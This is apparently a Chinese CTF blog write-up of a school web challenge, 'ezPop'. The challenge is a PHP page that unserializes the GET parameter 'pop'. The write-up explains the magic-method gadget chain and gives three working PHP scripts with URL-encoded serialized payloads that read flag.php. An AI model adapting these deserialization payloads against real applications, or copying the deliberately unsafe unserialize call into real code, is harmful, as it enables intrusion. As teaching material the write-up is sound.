校赛ezPop

Itachi

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
highlight_file(__FILE__);
error_reporting(0);
class Z{
public $key;

public function __wakeup(){
$this -> key = 'nothing';
}

public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}

class A{
public $name;
public $b;

public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}

public function hello($a){
echo "hello!".$a;
}

public function __destruct(){
$this -> b -> hello($this -> name);
}
}

class B{

public $obj;

public function __construct($obj){
$this -> obj = $obj;
}

public function hello($name){
$this -> obj -> $name();
}

public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}

class C{
public $test;

public function __construct($test){
$this -> test = $test;
}

public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}

class D{
public $name;

public function __construct($name){
$this -> name = $name;
}

public function hello($name){
echo "Welcome to CTF ,".$name;
}

public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}

@unserialize($_GET['pop']);

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Z{
public $key;

public function __wakeup(){
$this -> key = 'nothing';
}

public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}
  • 一个共有属性 $key
  • __wakeup()在反序列化前触发,将 'nothing'赋给 $key
  • __destruct()在对象被销毁时触发,此时如果 $key == xatu的时候,包含并运行 flag.php,输出 $flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class A{
public $name;
public $b;

public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}

public function hello($a){
echo "hello!".$a;
}

public function __destruct(){
$this -> b -> hello($this -> name);
}
}
  • 两个共有属性:$name$b
  • __construct()在对象实体化时触发,接收传参分别赋给 $name$b
  • hello()$a当作字符串输出(可以触发 D对象的 __toString()方法)
  • __destruct()在对象被销毁时触发,调用 b对象的 hello()方法并将该对象的 name传过去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class B{

public $obj;

public function __construct($obj){
$this -> obj = $obj;
}

public function hello($name){
$this -> obj -> $name();
}

public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}
  • 一个共有属性 $obj
  • __construct()在对象被实体化时触发,将传过来的赋给 $obj
  • hello()调用 obj对象的 $name(),可以触发 B类的 __invoke()方法
  • __invoke()在对象被当作函数使用时触发,输出一句话,这里需要绕过
1
2
3
4
5
6
7
8
9
10
11
class C{
public $test;

public function __construct($test){
$this -> test = $test;
}

public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}
  • 一个共有属性 $test
  • __construct()在对象被实体化时触发,将值赋给 $test
  • __call()当调用该类无法访问的方法时被触发,将该类的 test当作字符串输出,可以触发 D类的 __toString()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class D{
public $name;

public function __construct($name){
$this -> name = $name;
}

public function hello($name){
echo "Welcome to CTF ,".$name;
}

public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}
  • 一个共有属性 $name
  • __construct()在对象被实体化时触发,将值赋给 name
  • hello()方法将 name当作字符串输出,可以触发该类的 __toString()方法
  • __toString()在对象被当作字符串使用时触发,它判断 name不为空且弱等于 xatu,包含并执行 flag.php,输出 $falg
  1. 拿flag:D类中的 name == "xatu",调用其 __toString()
  2. 触发 __toString()A类和 D类的 hello()方法,意味着这两个类中的属性可能为 D类的对象
  3. 调用 hello()A类的 __destruct()方法调用 bhello()方法,意味着 b属性可能为 A类的对象或者 D类的对象,name属性为 D类的对象

方法一、二:
img
方法三:

img

payload

  • D 类的 hello 触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class D{
public $name = "xatu";
}

class A{
public $name;
public $b;

public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}

$a1 = new D;
$a2 = new D;
$a = new A($a1, $a2);
echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D

  • A 类的 hello 触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class D{
public $name = "xatu";
}

class A{
public $name;
public $b;

public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}

$a1 = new D;
$a2 = new A(1, 1);
$a = new A($a1, $a2);
echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D

  • BC类触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class D{
public $name = "xatu";
}

class C{
public $test;

public function __construct($c){
$this -> test = $c;
}
}

class B{
public $obj;

public function __construct($b){
$this -> obj = $b;
}
}

class A{
public $b;
//这里的字符串是啥都行
//为的是触发B类的__call()
public $name = "fuc";

public function __construct($a){
$this -> b = $a;
}
}
$c = new D;
$b = new C($c);
$a1 = new B($b);
$a = new A($a1);
echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D

最后,给你们看一眼flag,嘻嘻😁
img

  • 标题: 校赛ezPop
  • 作者: Itachi
  • 创建于 : 2021-12-03 22:56:30
  • 更新于 : 2021-12-03 23:59:22
  • 链接: https://blog.tarchi.top/ctf/校赛ezPop/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
校赛ezPop